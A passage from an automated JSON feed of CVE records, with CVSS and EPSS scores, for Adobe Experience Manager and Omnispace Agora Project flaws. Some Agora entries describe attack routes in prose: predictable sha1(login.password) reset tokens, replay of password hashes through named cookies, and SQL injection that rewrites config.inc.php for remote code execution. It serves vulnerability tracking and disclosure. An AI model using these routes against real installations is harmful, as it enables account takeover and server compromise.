fixes.","publishedAt":"2026-10-13T21:17:39.007Z","updatedAt":"2026-10-16T18:25:45.343Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-49950","asOf":"2026-10-16T18:25:45.343Z"},"epss":{"probability":0.0085,"percentile":0.57893,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-49950&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-49950","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-49950","type":"primary","publishedAt":"2026-10-13T21:17:39.007Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-49950&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-49950, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-90532","cveId":"CVE-2026-90532","aliases":[],"kind":"vulnerability","title":"Adobe Experience Manager is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user, potentially...","summary":"Adobe Experience Manager is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user, potentially gaining elevated access or control over the victim's account or session. Exploitation of this issue does not require user interaction. Scope is changed.","detail":"Adobe Experience Manager is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user, potentially gaining elevated access or control over the victim's account or session. Exploitation of this issue does not require user interaction. Scope is changed.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T20:19:10.150Z","updatedAt":"2026-10-14T15:50:50.180Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":10,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-90532","asOf":"2026-10-14T15:50:50.180Z"},"epss":{"probability":0.00825,"percentile":0.57121,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-90532&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-90532","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-90532","type":"primary","publishedAt":"2026-10-13T20:19:10.150Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-90532&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-90532, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-90531","cveId":"CVE-2026-90531","aliases":[],"kind":"vulnerability","title":"Adobe Experience Manager is affected by an Improper Restriction of XML External Entity Reference ('XXE') vulnerability that could result in privilege escalation.","summary":"Adobe Experience Manager is affected by an Improper Restriction of XML External Entity Reference ('XXE') vulnerability that could result in privilege escalation. A low-privileged attacker could exploit this vulnerability to gain elevated access to internal resources. Exploitation of this issue does not require user interaction. Scope is changed.","detail":"Adobe Experience Manager is affected by an Improper Restriction of XML External Entity Reference ('XXE') vulnerability that could result in privilege escalation. A low-privileged attacker could exploit this vulnerability to gain elevated access to internal resources. Exploitation of this issue does not require user interaction. Scope is changed.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T20:19:10.030Z","updatedAt":"2026-10-14T15:50:50.180Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-90531","asOf":"2026-10-14T15:50:50.180Z"},"epss":{"probability":0.014,"percentile":0.72305,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-90531&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-90531","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-90531","type":"primary","publishedAt":"2026-10-13T20:19:10.030Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-90531&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-90531, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83662","cveId":"CVE-2026-83662","aliases":[],"kind":"vulnerability","title":"Adobe Experience Manager is affected by a reflected Cross-Site Scripting (XSS) vulnerability.","summary":"Adobe Experience Manager is affected by a reflected Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this vulnerability to inject malicious scripts into a web page, potentially gaining elevated access or control over the victim's account or session. Exploitation of this issue requires user interaction in that a victim must visit a maliciously crafted URL or interact with a compromised web page. Scope is changed.","detail":"Adobe Experience Manager is affected by a reflected Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this vulnerability to inject malicious scripts into a web page, potentially gaining elevated access or control over the victim's account or session. Exploitation of this issue requires user interaction in that a victim must visit a maliciously crafted URL or interact with a compromised web page. Scope is changed.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T20:18:11.500Z","updatedAt":"2026-10-14T17:19:20.890Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83662","asOf":"2026-10-14T17:19:20.890Z"},"epss":{"probability":0.01026,"percentile":0.6335,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83662&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83662","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83662","type":"primary","publishedAt":"2026-10-13T20:18:11.500Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83662&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83662, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-75732","cveId":"CVE-2026-75732","aliases":[],"kind":"vulnerability","title":"Adobe Experience Manager is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user, potentially...","summary":"Adobe Experience Manager is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user, potentially gaining elevated access or control over the victim's account or session. Exploitation of this issue does not require user interaction. Scope is changed.","detail":"Adobe Experience Manager is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user, potentially gaining elevated access or control over the victim's account or session. Exploitation of this issue does not require user interaction. Scope is changed.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T20:18:04.200Z","updatedAt":"2026-10-14T15:50:50.180Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-75732","asOf":"2026-10-14T15:50:50.180Z"},"epss":{"probability":0.00713,"percentile":0.5337,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-75732&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-75732","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-75732","type":"primary","publishedAt":"2026-10-13T20:18:04.200Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-75732&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-75732, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-63160","cveId":"CVE-2026-63160","aliases":[],"kind":"vulnerability","title":"Omnispace Agora Project before 26.10.0 contains a vulnerability where the persistent remember-me token is stored verbatim server-side, making the stored value identical to the...","summary":"Omnispace Agora Project before 26.10.0 contains a vulnerability where the persistent remember-me token is stored verbatim server-side, making the stored value identical to the bearer credential held in the user's cookie. Attackers who gain access to the stored token, such as through database or backup disclosure, can replay the plaintext value to authenticate as the victim user without needing their password.","detail":"Omnispace Agora Project before 26.10.0 contains a vulnerability where the persistent remember-me token is stored verbatim server-side, making the stored value identical to the bearer credential held in the user's cookie. Attackers who gain access to the stored token, such as through database or backup disclosure, can replay the plaintext value to authenticate as the victim user without needing their password.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T20:17:31.420Z","updatedAt":"2026-10-18T13:16:39.050Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-63160","asOf":"2026-10-18T13:16:39.050Z"},"epss":{"probability":0.00328,"percentile":0.25621,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-63160&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-63160","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63160","type":"primary","publishedAt":"2026-10-13T20:17:31.420Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-63160&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-63160, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-63159","cveId":"CVE-2026-63159","aliases":[],"kind":"vulnerability","title":"Omnispace Agora Project before 26.10.0 contains a predictable password-reset token vulnerability that allows unauthenticated attackers to take over user accounts by computing the...","summary":"Omnispace Agora Project before 26.10.0 contains a predictable password-reset token vulnerability that allows unauthenticated attackers to take over user accounts by computing the reset token as sha1(login.password), a deterministic and reusable value. Attackers can derive or brute-force the reset token from known or guessed login and password combinations to forge valid password-reset requests and hijack arbitrary accounts.","detail":"Omnispace Agora Project before 26.10.0 contains a predictable password-reset token vulnerability that allows unauthenticated attackers to take over user accounts by computing the reset token as sha1(login.password), a deterministic and reusable value. Attackers can derive or brute-force the reset token from known or guessed login and password combinations to forge valid password-reset requests and hijack arbitrary accounts.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T20:17:31.273Z","updatedAt":"2026-10-15T15:52:40.503Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-63159","asOf":"2026-10-15T15:52:40.503Z"},"epss":{"probability":0.00331,"percentile":0.26016,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-63159&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-63159","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63159","type":"primary","publishedAt":"2026-10-13T20:17:31.273Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-63159&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-63159, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-63158","cveId":"CVE-2026-63158","aliases":[],"kind":"vulnerability","title":"Omnispace Agora Project before 26.10.0 contains an authentication bypass vulnerability that allows attackers possessing a user's stored bcrypt password hash to authenticate as...","summary":"Omnispace Agora Project before 26.10.0 contains an authentication bypass vulnerability that allows attackers possessing a user's stored bcrypt password hash to authenticate as that user without knowing the actual password, caused by the legacy AGORAP_LOG/AGORAP_PASS cookie mechanism treating the stored hash as a directly replayable bearer credential. Attackers can set the AGORAP_LOG/AGORAP_PASS cookies with a stolen password hash to impersonate any user, including administrators, and gain unauthorized access to the application.","detail":"Omnispace Agora Project before 26.10.0 contains an authentication bypass vulnerability that allows attackers possessing a user's stored bcrypt password hash to authenticate as that user without knowing the actual password, caused by the legacy AGORAP_LOG/AGORAP_PASS cookie mechanism treating the stored hash as a directly replayable bearer credential. Attackers can set the AGORAP_LOG/AGORAP_PASS cookies with a stolen password hash to impersonate any user, including administrators, and gain unauthorized access to the application.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T20:17:31.143Z","updatedAt":"2026-10-15T15:52:40.503Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-63158","asOf":"2026-10-15T15:52:40.503Z"},"epss":{"probability":0.00409,"percentile":0.34901,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-63158&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-63158","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63158","type":"primary","publishedAt":"2026-10-13T20:17:31.143Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-63158&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-63158, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-63149","cveId":"CVE-2026-63149","aliases":[],"kind":"vulnerability","title":"Omnispace Agora Project before 26.10.0 contains an insecure randomness vulnerability that allows attackers to predict temporary or default account passwords generated by...","summary":"Omnispace Agora Project before 26.10.0 contains an insecure randomness vulnerability that allows attackers to predict temporary or default account passwords generated by Txt::defaultPassword() using PHP's uniqid() function based on server time in microseconds. Attackers who observe or approximate the account creation time can compute the predictable password and take over the account before the legitimate user logs in.","detail":"Omnispace Agora Project before 26.10.0 contains an insecure randomness vulnerability that allows attackers to predict temporary or default account passwords generated by Txt::defaultPassword() using PHP's uniqid() function based on server time in microseconds. Attackers who observe or approximate the account creation time can compute the predictable password and take over the account before the legitimate user logs in.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T20:17:30.617Z","updatedAt":"2026-10-15T15:12:54.040Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-63149","asOf":"2026-10-15T15:12:54.040Z"},"epss":{"probability":0.00365,"percentile":0.30031,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-63149&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-63149","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63149","type":"primary","publishedAt":"2026-10-13T20:17:30.617Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-63149&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-63149, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-63146","cveId":"CVE-2026-63146","aliases":[],"kind":"vulnerability","title":"Omnispace Agora Project before 26.10.0 contains a code injection vulnerability where unescaped, attacker-controlled values are written into the config.inc.php configuration file...","summary":"Omnispace Agora Project before 26.10.0 contains a code injection vulnerability where unescaped, attacker-controlled values are written into the config.inc.php configuration file during installation through File::updateConfigFile() and DbInstall::dbControl(), combined with an SQL injection issue enabled by PDO::ATTR_EMULATE_PREPARES supporting stacked queries. Attackers can exploit the SQL injection to re-trigger the installer and inject arbitrary PHP code into config.inc.php, achieving unauthenticated remote code execution on the underlying system.","detail":"Omnispace Agora Project before 26.10.0 contains a code injection vulnerability where unescaped, attacker-controlled values are written into the config.inc.php configuration file during installation through File::updateConfigFile() and DbInstall::dbControl(), combined with an SQL injection issue enabled by PDO::ATTR_EMULATE_PREPARES supporting stacked queries. Attackers can exploit the SQL injection to re-trigger the installer and inject arbitrary PHP code into config.inc.php, achieving unauthenticated remote code execution on the underlying system.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T20:17:30.210Z","updatedAt":"2026-10-17T02:17:20.033Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-63146","asOf":"2026-10-17T02:17:20.033Z"},"epss":{"probability":0.00658,"percentile":0.51182,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-63146&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-63146","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63146","type":"primary","publishedAt":"2026-10-13T20:17:30.210Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-63146&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-63146, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-48383","cveId":"CVE-2026-48383","aliases":[],"kind":"vulnerability","title":"Adobe Experience Manager is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user, potentially...","summary":"Adobe Experience Manager is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user, potentially gaining elevated access or control over the victim's account or session. Exploitation of this issue does not require user interaction. Scope is changed.","detail":"Adobe Experience Manager is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user, potentially gaining elevated access or control over the victim's account or session. Exploitation of this issue does not require user interaction. Scope is changed.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T20:17:29.017Z","updatedAt":"2026-10-15T11:17:34.570Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":10,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-48383","asOf":"2026-10-15T11:17:34.570Z"},"epss":{"probability":0.00972,"percentile":0.61725,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-48383&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-48383","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-48383","type":"primary","publishedAt":"2026-10-13T20:17:29.017Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS 